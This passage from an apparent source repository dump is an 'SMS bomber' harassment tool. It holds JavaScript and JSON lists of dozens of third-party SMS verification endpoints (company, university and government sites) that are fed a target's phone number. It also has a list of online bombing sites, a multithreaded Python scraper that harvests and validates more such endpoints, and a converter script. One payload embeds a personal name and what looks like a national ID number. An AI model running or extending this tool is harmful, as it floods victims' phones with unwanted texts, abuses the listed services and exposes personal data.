'赛客呼吸',\n        fn: function (phone) {\n            $.ajax({\n                url: \"https://m.xeek.cn/api/common/CheckCode/index.html\",\n                type: \"POST\",\n                data: {\"action\":\"register\",\"account\":phone,\"accountType\":\"3\"},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '佛山政务短信平台',\n        fn: function (phone) {\n            $.ajax({\n                url: \"https://fsjf.fslgb.gov.cn/servlet/user\",\n                type: \"POST\",\n                data: {\"type\":\"getCode\",\"certificate\":\"\",\"phone\":phone,\"opr\":\"注册\"},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '南京筑能网络科技有限公司',\n        fn: function (phone) {\n            $.ajax({\n                url: \"http://admina.pachongdaili.com:8080/SendSms/SendTemplateSMS.php\",\n                type: \"POST\",\n                data: {\"tel\": phone},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '四川宝石花',\n        fn: function (phone) {\n            $.ajax({\n                url: \"http://119.4.40.32:10010/ctl/member/register/registerRandom?mobile=\"+phone+\"&_=1649516272801\",\n                type: \"GET\",\n                data: {},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '赛日速配',\n        fn: function (phone) {\n            $.ajax({\n                url: \"https://sporax.com.cn/Login/sms\",\n                type: \"POST\",\n                data: {\"Mobile\": phone},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '乐思无限',\n        fn: function (phone) {\n            $.ajax({\n                url: \"http://sid.mk315.cn/index/register/getcode.html\",\n                type: \"POST\",\n                data: {\"tel\": phone},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '宁波材料所',\n        fn: function (phone) {\n            $.ajax({\n                url: \"https://recruit.nimte.ac.cn/api/recruit/action.php?action=getcode&mobile=\"+phone+\"&verifycode=[object%20HTMLInputElement]\",\n                type: \"POST\",\n                data: {},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '佬司机大宗商品交易',\n        fn: function (phone) {\n            $.ajax({\n                url: \"http://www.laosjgyl.com/register/sendCaptcha\",\n                type: \"POST\",\n                data: {\"mobile\": phone},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '广东省心理学会',\n        fn: function (phone) {\n            $.ajax({\n                url: \"http://gpa-gd.scnu.edu.cn/member/index/public_send_code.html\",\n                type: \"POST\",\n                data: {\"phone\": phone},\n                dataType: \"json\",\n            })\n        }\n    }\n]"
  },
  {
    "path": "debug/api_tou.json",
    "content": "[\n    {\n        \"desc\": \"迪卡侬\",\n        \"url\": \"https://www.decathlon.com.cn/zh/ajax/rest/model/atg/userprofiling/ProfileActor/send-mobile-verification-code\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"countryCode\": \"CN\",\n            \"mobile\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"股海网\",\n        \"url\": \"https://www.guhai.com.cn/front/member/sendSmsCode\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"mobile\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"LLL的个人blog\",\n        \"url\": \"http://www.lll.plus/sendCode/\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"tel\": \"[phone]\",\n            \"forgetPwd\": \"\"\n        }\n    },\n    {\n        \"desc\": \"企米子\",\n        \"url\": \"https://www.xcxui.com/index/register/getcode.html\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"tel\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"蒲公英\",\n        \"url\": \"https://id.pgyer.com/user/getRegisterCode\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"tel\": \"[phone]\",\n            \"callingCode\": \"86\",\n            \"mode\": \"tel\"\n        }\n    },\n    {\n        \"desc\": \"百卓优采\",\n        \"url\": \"https://erp.abiz.com/mobilecode/sendMobileCode\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"mobile\": \"[phone]\",\n            \"captcha\": \"\"\n        }\n    },\n    {\n        \"desc\": \"云背篓\",\n        \"url\": \"https://brand.yunbeilou.com/index.php/smssend\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"phone\": \"[phone]\",\n            \"v\": \"yes\"\n        }\n    },\n    {\n        \"desc\": \"PHP中文网\",\n        \"url\": \"https://m.php.cn/account/phone_code.html\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"phone\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"12321\",\n        \"url\": \"http://dhba.12321.cn/api/verifycode\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"phone\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"Testin众测\",\n        \"url\": \"https://www.ztestin.com/users/send/vercode\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"phone\": \"[phone]\",\n            \"type\": \"register\",\n            \"voice\": \"0\"\n        }\n    },\n    {\n        \"desc\": \"海尔\",\n        \"url\": \"http://maker.haier.net/client/user/sendregistervcode.html\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"account\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"飞猫云\",\n        \"url\": \"https://www.feimaoyun.com/index.php/invite/h5sendmsg\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"pcode\": \"+86\",\n            \"phone\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"华觉数字化平台\",\n        \"url\": \"https://end.huajuetech.com/api/sendCode\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"mobile\": \"[phone]\",\n            \"email\": \"null\",\n            \"verfy_method\": \"mobile\"\n        }\n    },\n    {\n        \"desc\": \"问政江西\",\n        \"url\": \"https://wenz.jxnews.com.cn/ms/index.php/Home/User/get_yzm\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"phone\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"河南智慧党建\",\n        \"url\": \"http://api.hndyjyfw.gov.cn/djapi/mobileVerify\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"phone\": \"[phone]\",\n            \"verifytype\": \"1\"\n        }\n    },\n    {\n        \"desc\": \"陆陆陆云安全\",\n        \"url\": \"https://cloud.666idc.com/index/login/sendsms.html\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"mobile\": \"[phone]\",\n            \"mobile_pre\": \"86\"\n        }\n    },\n    {\n        \"desc\": \"网易\",\n        \"url\": \"https://dz.blizzard.cn/action/user/mobile/captcha\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"mobile\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"码云社\",\n        \"url\": \"https://www.codeseeding.com/loginUser/toSend\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"phone\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"人才山东\",\n        \"url\": \"http://sso.rcsd.cn/regist/getVerifyCode\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"personcall\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"水利部\",\n        \"url\": \"http://sso.mwr.cn/suserRegister/verifyAccountAndphone.action\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"mobile\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"七联大学\",\n        \"url\": \"http://ut7.whu.edu.cn/Home/studentCommon/Student_getVerifyCode\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"phoneNumber\": \"[phone]\",\n            \"sendType\": \"0\"\n        }\n    },\n    {\n        \"desc\": \"闪德资讯\",\n        \"url\": \"https://www.0101ssd.com/user/sendmsg\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"mobile\": \"[phone]\",\n            \"event\": \"register\"\n        }\n    },\n    {\n        \"desc\": \"江苏省名师空中课堂\",\n        \"url\": \"https://mskzkt.jse.edu.cn/baseApi/user/code/\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"mobile\": \"[phone]\",\n            \"type\": \"1\"\n        }\n    },\n    {\n        \"desc\": \"CSFF短片\",\n        \"url\": \"https://csff.cutv.com/wapi/users/sendregcode\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"telphone\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"广西人社厅\",\n        \"url\": \"http://rswb.gx12333.net/member/getRegisterphoneCode.jspx\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"aae005\": \"[phone]\",\n            \"aac003\": \"刘萌萌\",\n            \"aac002\": \"210212198506035924\",\n            \"notkeyflag\": \"1\"\n        }\n    },\n    {\n        \"desc\": \"麦克赛尔数字映像\",\n        \"url\": \"https://www.maxell-dm.cn/Code/CheckImage.aspx\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"action\": \"send\",\n            \"txtMember_Name\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"宝提分\",\n        \"url\": \"http://main.jiajiaozaixian.com//reginfo/sendRankByMobileReginfo.action\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"mobile\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"选型系统\",\n        \"url\": \"http://www.cnppump.ltd/Service/UserHandler.ashx\",\n        \"method\": \"GET\",\n        \"header\": \"\",\n        \"data\": {\n            \"cmd\": \"GetTelVerifyCode\",\n            \"Tel\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"千里马网信科技\",\n        \"url\": \"http://vip.qianlima.com/rest/u/api/user/register/mobile/code\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"tips\": \"1\",\n            \"shouji\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"保定云\",\n        \"url\": \"https://baodingyun.com.cn/register/send_registerSMS.html\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"phone\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"欢动游戏\",\n        \"url\": \"http://www.gm5.com/auth/registerSms.html\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"mobile\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"迈威\",\n        \"url\": \"https://www.maiwe.com.cn/index/sendcode.html\",\n        \"method\": \"GET\",\n        \"header\": \"\",\n        \"data\": {\n            \"tel\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"憨鼠社区\",\n        \"url\": \"https://www.dehua.net/include/ajax.php?service=siteConfig&action=getphoneVerify&type=signup&phone=[phone]&areaCode=86\",\n        \"method\": \"GET\",\n        \"header\": \"\",\n        \"data\": {}\n    },\n    {\n        \"desc\": \"天鹅到家\",\n        \"url\": \"https://user.daojia.com/mobile/getcode?mobile=[phone]&newVersion=1&bu=112\",\n        \"method\": \"GET\",\n        \"header\": \"\",\n        \"data\": {}\n    },\n    {\n        \"desc\": \"诺达筑工\",\n        \"url\": \"http://ks.ndzhugong.com/getVerificationCode?phone=[phone]&password=&smscode=\",\n        \"method\": \"GET\",\n        \"header\": \"\",\n        \"data\": {}\n    },\n    {\n        \"desc\": \"栋才智慧\",\n        \"url\": \"http://211.149.170.226:8201/dczp-cloud-client/rrs/user/sendSms?[phone]&[phone]&smsMode=2\",\n        \"method\": \"GET\",\n        \"header\": \"\",\n        \"data\": {}\n    },\n    {\n        \"desc\": \"工伤预防网上培训平台\",\n        \"url\": \"http://wf.zhuanjipx.com:8084//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=a87c9338-43a1-66ea-8ce7-1b1ac7c39d69\",\n        \"method\": \"GET\",\n        \"header\": \"\",\n        \"data\": {}\n    },\n    {\n        \"desc\": \"济宁专技\",\n        \"url\": \"https://sdjn-web.yxlearning.com/sendphoneCode.gson\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"phone\": \"[phone]\",\n            \"sendType\": \"4\"\n        }\n    },\n    {\n        \"desc\": \"宁夏伊地地质工程有限公司\",\n        \"url\": \"http://www.yddzgc.com/bid-app/api/sys/code?phone=[phone]&type=1\",\n        \"method\": \"GET\",\n        \"header\": \"\",\n        \"data\": {}\n    },\n    {\n        \"desc\": \"青春大学说\",\n        \"url\": \"http://zycp.qcdxs.com:5001/sms/sendsms\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"phone_number\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"兴业利达电子招投标平台\",\n        \"url\": \"https://api.gzxyld.cn/HuiEbid/HuiEbidServer/doSendSms/getSms\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"username\": \"[phone]\",\n            \"type\": \"regUser\",\n            \"mobile\": \"PC\"\n        }\n    },\n    {\n        \"desc\": \"火象\",\n        \"url\": \"https://v1.alphazone-data.cn/academy/api/v1/sendsms\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"temp\": \"1\",\n            \"phone\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"中科教育\",\n        \"url\": \"https://www.vipexam.cn/user/identifyingCode.action\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"phone\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"聚题库\",\n        \"url\": \"https://uc.csdhe.com/v1/sms/send?mobile=[phone]&apptype=examWeb\",\n        \"method\": \"GET\",\n        \"header\": \"\",\n        \"data\": {}\n    },\n    {\n        \"desc\": \"苏州高新区教育局\",\n        \"url\": \"https://jssnd.edu.cn/apiu/v1/register/auth\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"phone\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"专业技术人员继续教育平台\",\n        \"url\": \"http://zhuanjipx.com:8082//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=685110c6-cef4-bb01-8f4d-19ea89f4d3f8\",\n        \"method\": \"GET\",\n        \"header\": \"\",\n        \"data\": {}\n    },\n    {\n        \"desc\": \"泰安专技\",\n        \"url\": \"https://sdta-web.yxlearning.com/sendphoneCode.gson\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"phone\": \"[phone]\",\n            \"sendType\": \"4\"\n        }\n    },\n    {\n        \"desc\": \"志睿择\",\n        \"url\": \"https://www.vipexam.cn/user/identifyingCode.action\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"phone\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"漏洞银行\",\n        \"url\": \"https://www.bugbank.cn/api/verifymobile\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"mobile\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"中国劳动保障新闻网\",\n        \"url\": \"https://www.clssn.com/jhxtapi/web/Login/sendSmsCode\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"mobile\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"广东省心理学会\",\n        \"url\": \"http://gpa-gd.scnu.edu.cn/member/index/public_send_code.html\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"phone\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"费耘网\",\n        \"url\": \"https://www.feeclouds.com/homepage/register/send\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"mobile\": \"[phone]\"\n        }\n    }\n]"
  },
  {
    "path": "debug/hz-web.json",
    "content": "[\n    {\n        \"url\": \"https://duanxin.97sq.com/\",\n        \"key\": \"\",\n        \"title\": \"在线短信测压 97社区短信测压\"\n    },\n    {\n        \"url\": \"https://www.yxdhma.cn/\",\n        \"key\": \"\",\n        \"title\": \"大树免费短信测压\"\n    },\n    {\n        \"url\": \"http://107.173.149.61/index.php\",\n        \"key\": \"\",\n        \"title\": \"在线短信测压 智云短信轰炸\"\n    },\n    {\n        \"url\": \"http://www.ono.plus/iaJIR00a0sqf/index.php\",\n        \"key\": \"\",\n        \"title\": \"在线短信测压\"\n    },\n    {\n        \"url\": \"http://91zn.top/ylcs/\",\n        \"key\": \"\",\n        \"title\": \"免费短信测压\"\n    },\n    {\n        \"url\": \"http://103.45.122.14/index.php\",\n        \"key\": \"\",\n        \"title\": \"Hello短信测压\"\n    },\n    {\n        \"url\": \"https://ialtone.xyz/message/index.php\",\n        \"key\": \"\",\n        \"title\": \"ialtone的短信测压站\"\n    },\n    {\n        \"url\": \"http://lzc.muigs.xyz/index2.php?\",\n        \"key\": \"\",\n        \"title\": \"短信测压-冷之晨\"\n    },\n    {\n        \"url\": \"http://101.132.154.124:1200/index.php\",\n        \"key\": \"\",\n        \"title\": \"在线短信测压轰炸\"\n    },\n    {\n        \"url\": \"https://ceya.kpxdr.com/index.php\",\n        \"key\": \"\",\n        \"title\": \"在线短信测压—云端轰炸\"\n    },\n    {\n        \"url\": \"https://128.14.239.248/index.php\",\n        \"key\": \"\",\n        \"title\": \"在线短信测压 秋思短信轰炸\"\n    },\n    {\n        \"url\": \"http://101.43.16.51:665/index.php\",\n        \"key\": \"\",\n        \"title\": \"\"\n    }\n]"
  },
  {
    "path": "debug/spider-api.py",
    "content": "#!/usr/bin/python python3\n# coding=utf-8\n# 爬取轰炸平台接口\nfrom loguru import logger\nimport httpx\nimport requests\nimport re\nfrom utils import Sql\nimport queue\nimport pathlib\nimport threading\nimport sys\nimport json\nfrom prettytable import PrettyTable\nimport click\nimport urllib3\nurllib3.disable_warnings()\n\n# logger config\nlogger.remove()\nlogger.add(\n    sink=sys.stdout,\n    format=\"<green>{time:YYYY-MM-DD at HH:mm:ss}</green> - <level>{level}</level> - <level>{message}</level>\",\n    colorize=True,\n    backtrace=True\n)\n\n\npath = pathlib.Path(__file__).parent\nheader = {\n    \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36\",\n}\n\n\nclass SMS(object):\n    # 默认的请求密钥\n    default_phone = \"15019682928\"\n    key_default = f\"?hm={default_phone}&ok=\"\n\n    def __init__(self, website, key) -> None:\n        self.url = website\n        self.header = header\n        if key == \"\":\n            self.key = self.key_default\n        self.api_queue = queue.Queue()\n        self.db = Sql()\n        self.lock = threading.Lock()\n        self.ok_api = 0\n\n    def get_sms_api(self):\n        '''请求短信轰炸平台'''\n        with httpx.Client(verify=False) as ses:\n            ses.get(self.url, headers=self.header)\n            resp = ses.get(f\"{self.url}{self.key}\", headers=self.header)\n\n        pat = re.compile(r\"<img src='(.*?)' alt\")\n        apis = pat.findall(resp.text)\n        assert not apis == [], \"未找到任何接口!\"\n        # print(resp.text)\n        logger.info(\"获取到的原始接口总数:%s\" % (len(apis)))\n\n        for api in apis:\n\n            # 三重校验网址\n            # 排除接口中没有电话号码的网址\n            if self.default_phone not in api:\n                continue\n\n            # 去除空白字符并替换默认手机号\n            api = api.strip().replace(\" \", \"\").replace(\n                self.default_phone, \"[phone]\")\n\n            # 校验网址开头\n            if not (api.startswith(\"https://\") or api.startswith(\"http://\")):\n                continue\n\n            self.api_queue.put(api)\n\n        logger.info(\"Put到队列的接口总数:%s\" % (self.api_queue.qsize()))\n        self.size = self.api_queue.qsize()\n\n    def check_theads(self):\n        '''多线程检查可用性'''\n        while not self.api_queue.empty():\n            api = self.api_queue.get()\n            try:\n                with requests.get(api.replace(\"[phone]\", self.default_phone), headers=self.header, timeout=8, verify=False) as resp:\n                    if resp.status_code == 200:\n                        with self.lock:\n                            self.db.update(api)\n\n            except Exception as e:\n                pass\n            finally:\n                self.api_queue.task_done()\n\n    def main(self):\n        self.get_sms_api()\n        # 在此设置线程数 int 类型\n        threads_count = 254\n        threads = [\n            threading.Thread(target=self.check_theads,\n                             name=f\"{i}\", daemon=True)\n            for i in range(1, threads_count+1)\n        ]\n        for thread in threads:\n            thread.start()\n        logger.info(\"多线程校验进行中......(可能耗时比较长)\")\n        from tqdm import tqdm\n        import time\n        with tqdm(total=self.size) as pbar:\n            while not self.api_queue.empty():\n                pbar.update(self.size-self.api_queue.qsize())\n                self.size = self.api_queue.qsize()\n                time.sleep(0.5)\n        self.api_queue.join()\n        logger.info(f\"总接口数目(去重后):{len(self.db.select())}\")\n\n\ndef test_api_web(url: str) -> tuple:\n    \"\"\"check api web is ok?\n    :return: tuple\n    \"\"\"\n    if url is None:\n        return\n    with httpx.Client(headers=header, verify=False) as client:\n        try:\n            resp = client.get(url=url).text\n            title = re.findall('<title>(.*?)</title>', resp)\n            if title:\n                logger.info(f\"{url} title:{title[0]}\")\n                return (title[0], url)\n        except httpx.HTTPError as why:\n            logger.error(f\"{url} 请求错误! {why}\")\n\n    return\n\n\ndef load_api_web():\n    \"\"\"从 json 文件加载轰炸网址.并测试!\n    :return:\n    \"\"\"\n    json_path = pathlib.Path(path, 'hz-web.json')\n    table = PrettyTable([\"标题\", \"链接\"])\n    if not json_path.exists():\n        logger.error(f\"hz-web.json not exists in {str(json_path)}!\")\n        return\n    j = json_path.read_text(encoding=\"utf8\")\n    ok_web = []\n    try:\n        webs = json.loads(j)\n    except json.decoder.JSONDecodeError as why:\n        logger.error(f\"json syctax error! {why}\")\n        return\n\n    for web in webs:\n        result = test_api_web(web['url'])\n        if result:\n            table.add_row([result[0], result[1]])\n            ok_web.append(\n                {\"url\": result[1], \"key\": web.get('key'), \"title\": result[0]})\n\n    logger.success(f\"有效的轰炸网站:\\n{table}\")\n    if input(\">>是否写入 hz-web.json?(Y/n)\") == \"Y\":\n        with open(json_path, encoding=\"utf8\", mode=\"w\") as fp:\n            try:\n                json.dump(ok_web, fp, ensure_ascii=False)\n                logger.success(\"save hz-web.json success!\")\n            except Exception as why:\n                logger.error(f\"write hz-web.json error {why}\")\n    return ok_web\n\n\n@click.group()\ndef cli():\n    pass\n\n\n@click.command()\ndef spider_all():\n    \"\"\"\n    根据目录下的 hz-web.json 文件更新接口\n    \"\"\"\n    websites = load_api_web()\n    for website in websites:\n        logger.info(f\"正在爬取:{website['url']}\")\n        try:\n            sms = SMS(website=website['url'], key=website['key']).main()\n        except Exception as why:\n            logger.critical(f\"爬取:{website['url']} 出错:{why}\")\n\n\n@click.command()\n@click.option('--url', help='轰炸网站的网址,结尾需要带/', prompt=True)\n@click.option('--key', help='网址携带的参数(可选)', default=\"\")\ndef spider_one(url, key):\n    \"\"\"爬取单个网址.\"\"\"\n    try:\n        sms = SMS(website=url, key=key).main()\n    except Exception as why:\n        logger.critical(f\"爬取:{url} 出错:{why}\")\n\n\n@click.command()\n@logger.catch\ndef save_api():\n    \"\"\"保存api到 GETAPI.json 文件\"\"\"\n    db = Sql()\n    apis = db.select()\n    api_lst = [\n        api\n        for api in apis\n    ]\n    with open(\"GETAPI.json\", mode=\"w\") as j:\n        json.dump(fp=j, obj=api_lst, ensure_ascii=False)\n    logger.success(\"写入到 GETAPI.json 成功!\")\n\n\ncli.add_command(spider_all)\ncli.add_command(spider_one)\ncli.add_command(save_api)\n\nif __name__ == '__main__':\n    cli()\n"
  },
  {
    "path": "debug/tou_api.py",
    "content": "# encoding=utf8\n# 从 api.js 偷别人家的接口\nimport pathlib\nimport json\nfrom pydantic import BaseModel\nfrom typing import Optional, Union\n\npath = pathlib.Path(__file__).parent.resolve()\n\n\nclass API(BaseModel):\n    \"\"\"处理自定义 API 数据\"\"\"\n    desc: str = \"Default\"\n    url: str = \"\"\n    method: str = \"GET\"\n    header: Optional[Union[str, dict]] = \"\"\n    data: Optional[Union[str, dict]]\n\n\ndef main():\n    with open(pathlib.Path(path, \"touapi.json\"), mode=\"r\", encoding=\"utf8\") as c:\n        js = json.load(fp=c)\n\n    apis = []\n    for j in js:\n        # print(j)\n        api = API()\n        api.url = j[0]\n        api.method = j[3]\n        api.desc = j[2]\n        api.data = j[4]\n        apis.append(api.dict())\n    # print(apis)\n\n    with open(pathlib.Path(path, \"api_tou.json\"), mode=\"w\", encoding=\"utf8\") as cc:\n        js = json.dump(obj=apis, fp=cc,  ensure_ascii=False)\n\n\nif __name__ == \"__main__\":\n    main()\n"
  },
  {
    "path": "debug/touapi.json",
    "content": "[\n    [\n        \"https://www.decathlon.com.cn/zh/ajax/rest/model/atg/userprofiling/ProfileActor/send-mobile-verification-code\",\n        \"111\",\n        \"迪卡侬\",\n        \"POST\",\n        {\n            \"countryCode\": \"CN\",\n            \"mobile\": \"[phone]\"\n        },\n        \"https://www.decathlon.com.cn/zh/create\"\n    ],\n    [\n        \"https://www.guhai.com.cn/front/member/sendSmsCode\",\n        60,\n        \"股海网\",\n        \"POST\",\n        {\n            \"mobile\": \"[phone]\"\n        },\n        \"https://www.guhai.com.cn/register.html\"\n    ],\n    [\n        \"http://www.lll.plus/sendCode/\",\n        60,\n        \"LLL的个人blog\",\n        \"POST\",\n        {\n            \"tel\": \"[phone]\",\n            \"forgetPwd\": \"\"\n        },\n        \"http://www.lll.plus/register/\"\n    ],\n    [\n        \"https://www.xcxui.com/index/register/getcode.html\",\n        60,\n        \"企米子\",\n        \"POST\",\n        {\n            \"tel\": \"[phone]\"\n        },\n        \"https://www.xcxui.com/index/register\"\n    ],\n    [\n        \"https://id.pgyer.com/user/getRegisterCode\",\n        60,\n        \"蒲公英\",\n        \"POST\",\n        {\n            \"tel\": \"[phone]\",\n            \"callingCode\": \"86\",\n            \"mode\": \"tel\"\n        },\n        \"https://id.pgyer.com/user/register?mode=tel\"\n    ],\n    [\n        \"https://erp.abiz.com/mobilecode/sendMobileCode\",\n        60,\n        \"百卓优采\",\n        \"POST\",\n        {\n            \"mobile\": \"[phone]\",\n            \"captcha\": \"\"\n        },\n        \"https://erp.abiz.com/register\"\n    ],\n    [\n        \"https://brand.yunbeilou.com/index.php/smssend\",\n        30,\n        \"云背篓\",\n        \"POST\",\n        {\n            \"phone\": \"[phone]\",\n            \"v\": \"yes\"\n        },\n        \"https://brand.yunbeilou.com/index.php/register\"\n    ],\n    [\n        \"https://m.php.cn/account/phone_code.html\",\n        60,\n        \"PHP中文网\",\n        \"POST\",\n        {\n            \"phone\": \"[phone]\"\n        },\n        \"https://m.php.cn/reg.html\"\n    ],\n    [\n        \"http://dhba.12321.cn/api/verifycode\",\n        60,\n        \"12321\",\n        \"POST\",\n        {\n            \"phone\": \"[phone]\"\n        },\n        \"http://dhba.12321.cn/user/register\"\n    ],\n    [\n        \"https://www.ztestin.com/users/send/vercode\",\n        60,\n        \"Testin众测\",\n        \"POST\",\n        {\n            \"phone\": \"[phone]\",\n            \"type\": \"register\",\n            \"voice\": \"0\"\n        },\n        \"https://www.ztestin.com/users/register?from=menu\"\n    ],\n    [\n        \"http://maker.haier.net/client/user/sendregistervcode.html\",\n        60,\n        \"海尔\",\n        \"POST\",\n        {\n            \"account\": \"[phone]\"\n        },\n        \"http://maker.haier.net/client/mobile/register.html\"\n    ],\n    [\n        \"https://www.feimaoyun.com/index.php/invite/h5sendmsg\",\n        30,\n        \"飞猫云\",\n        \"POST\",\n        {\n            \"pcode\": \"+86\",\n            \"phone\": \"[phone]\"\n        },\n        \"https://yq.jingfile.com/static/invite/register.html?type=3&code=FM666685N0UFSVIP\"\n    ],\n    [\n        \"https://end.huajuetech.com/api/sendCode\",\n        60,\n        \"华觉数字化平台\",\n        \"POST\",\n        {\n            \"mobile\": \"[phone]\",\n            \"email\": \"null\",\n            \"verfy_method\": \"mobile\"\n        },\n        \"https://end.huajuetech.com/admin.php/system/Passport/regist.html\"\n    ],\n    [\n        \"https://wenz.jxnews.com.cn/ms/index.php/Home/User/get_yzm\",\n        120,\n        \"问政江西\",\n        \"POST\",\n        {\n            \"phone\": \"[phone]\"\n        },\n        \"https://wenz.jxnews.com.cn/ms/index.php/Home/User/register/\"\n    ],\n    [\n        \"http://api.hndyjyfw.gov.cn/djapi/mobileVerify\",\n        60,\n        \"河南智慧党建\",\n        \"POST\",\n        {\n            \"phone\": \"[phone]\",\n            \"verifytype\": \"1\"\n        },\n        \"http://www.hndyjyfw.gov.cn/register.html\"\n    ],\n    [\n        \"https://cloud.666idc.com/index/login/sendsms.html\",\n        60,\n        \"陆陆陆云安全\",\n        \"POST\",\n        {\n            \"mobile\": \"[phone]\",\n            \"mobile_pre\": \"86\"\n        },\n        \"https://cloud.666idc.com/index/login/register\"\n    ],\n    [\n        \"https://dz.blizzard.cn/action/user/mobile/captcha\",\n        60,\n        \"网易\",\n        \"POST\",\n        {\n            \"mobile\": \"[phone]\"\n        },\n        \"https://dz.blizzard.cn/register\"\n    ],\n    [\n        \"https://www.codeseeding.com/loginUser/toSend\",\n        60,\n        \"码云社\",\n        \"POST\",\n        {\n            \"phone\": \"[phone]\"\n        },\n        \"https://www.codeseeding.com/index\"\n    ],\n    [\n        \"http://sso.rcsd.cn/regist/getVerifyCode\",\n        120,\n        \"人才山东\",\n        \"POST\",\n        {\n            \"personcall\": \"[phone]\"\n        },\n        \"http://sso.rcsd.cn/regist/registeHome\"\n    ],\n    [\n        \"http://sso.mwr.cn/suserRegister/verifyAccountAndphone.action\",\n        60,\n        \"水利部\",\n        \"POST\",\n        {\n            \"mobile\": \"[phone]\"\n        },\n        \"http://sso.mwr.cn/examine/getexamines.jsp\"\n    ],\n    [\n        \"http://ut7.whu.edu.cn/Home/studentCommon/Student_getVerifyCode\",\n        60,\n        \"七联大学\",\n        \"POST\",\n        {\n            